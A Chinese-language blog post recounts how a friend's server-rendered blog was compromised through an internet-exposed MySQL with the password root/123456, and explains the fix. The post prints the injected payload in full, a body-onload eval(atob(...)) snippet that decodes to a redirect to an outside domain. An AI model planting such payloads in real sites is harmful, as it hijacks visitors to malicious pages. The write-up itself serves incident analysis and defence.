一次离谱的站点被入侵经历

摘要

一次离谱的站点被入侵经历:朋友博客数据库被篡改,自动跳转恶意网站 出现的问题 某天访问朋友开发的博客网站,打开页面就看到一堆异常字符串,页面样式全部错乱,紧接着网页自动跳转到一个非常规的彩色站点,当时着实吓了一跳。 以前总觉得黑客入侵离自己...

一次离谱的站点被入侵经历:朋友博客数据库被篡改,自动跳转恶意网站

出现的问题

某天访问朋友开发的博客网站,打开页面就看到一堆异常字符串,页面样式全部错乱,紧接着网页自动跳转到一个非常规的彩色站点,当时着实吓了一跳。

以前总觉得黑客入侵离自己很远,没想到直接发生在了自己身上,惊吓之余居然还有点奇妙的小激动。

现状

  • PC端访问:页面加载后文字、样式错乱,能直接看到一串 <body/onload=eval(atob("xxxxxxxx"))> 代码,随后页面立刻重定向,跳转至恶意站点。
  • 微信/手机浏览器访问:直接被腾讯安全、手机浏览器安全机制拦截,无法打开跳转地址。

问题排查

看到这个现象,我第一反应是数据库被篡改了。 项目是 Docker 部署的 Node 服务,服务器密码复杂度很高,直接修改源码的概率不大;而且业务代码本身没有变动,所以嫌疑直接锁定 MySQL。 登录数据库查看,果然中招:多张数据表内的 title、content 等文本字段,全部被替换成了下面这段内容:

<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIikxa="))>

这个博客是服务端渲染,数据库里的内容会直接拼进 HTML 返回给浏览器。这段字符串被浏览器识别解析,挂载到了 body 的 onload 事件,页面加载完成就自动执行 JS。

拆解一下这段恶意代码: eval(atob("base64字符串"))

  1. atob():对 Base64 字符串解码;
  2. 解码后得到 JS 逻辑:window.location.replace("恶意链接");
  3. window.location.replace():强制跳转至目标网址,相当于被黑客用来无偿引流。

注:文中跳转链接已经做了处理,避免恶意地址传播。

总结

说起来原因特别哭笑不得:MySQL 开启了公网远程访问,账号密码却是弱口令 root / 123456。

万幸这个站点刚上线,数据量很少,影响范围小。 处理方案:修改高强度数据库密码,关闭不必要的远程访问权限,然后重置、恢复数据库即可。

也算是踩了个警钟,如果发现得晚,站点持续对外跳转违规页面,后果就严重了。